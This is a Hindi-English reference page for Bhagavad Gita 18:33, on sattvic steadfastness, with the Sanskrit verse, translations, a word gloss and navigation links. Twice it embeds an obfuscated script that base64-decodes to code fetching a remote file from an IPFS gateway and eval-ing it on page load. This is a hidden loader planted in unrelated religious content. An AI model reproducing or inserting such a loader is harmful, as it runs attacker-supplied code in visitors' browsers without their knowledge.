गीता 18:33

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

गीता अध्याय-18 श्लोक-33 / Gita Chapter-18 Verse-33

प्रसंग-


अब सात्त्विकी धृति के लक्षण बतलाते हैं-


धृत्या यया रधारयते मन:प्राणेन्द्रियक्रिया: ।
योगेनाव्यभिचारिण्या धृति: सा पार्थ सात्त्विकी ।।33।।



हे पार्थ[1] ! जिस अव्यभिचारिणी धारण शक्ति से मनुष्य ध्यान योग के द्वारा मन, प्राण और इन्द्रियों की क्रियाओं को धारण करता है, वह धृति सात्त्विकी है ।।33।।

The unwavering firmness by which man controls through the Yoga of meditation the functions of the mind, the vital airs and the senses—that firmness, Arjuna, is Goodness (Sattvika). (33)


पार्थ = हे पार्थ ; योगेन = ध्यानयोग के द्वारा ; यया = जिस ; धृत्या = धारणा से (मनु ष्य) ; मन:प्राणेन्द्रिय क्रिया: = मन प्राण और इन्द्रियों की क्रियाओं को ; अव्यभिचारिण्या = अव्यभिचारिणी ; धारयते = धारण करता है ; सा = वह ; धृति: = धारणा (तो) ; सात्त्विकी = सात्त्तिकी है ;



अध्याय अठारह श्लोक संख्या
Verses- Chapter-18

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36, 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51, 52, 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78

अध्याय / Chapter:
एक (1) | दो (2) | तीन (3) | चार (4) | पाँच (5) | छ: (6) | सात (7) | आठ (8) | नौ (9) | दस (10) | ग्यारह (11) | बारह (12) | तेरह (13) | चौदह (14) | पन्द्रह (15) | सोलह (16) | सत्रह (17) | अठारह (18)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. पार्थ, भारत, धनंजय, पृथापुत्र, परन्तप, गुडाकेश, निष्पाप, महाबाहो सभी अर्जुन के सम्बोधन है।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>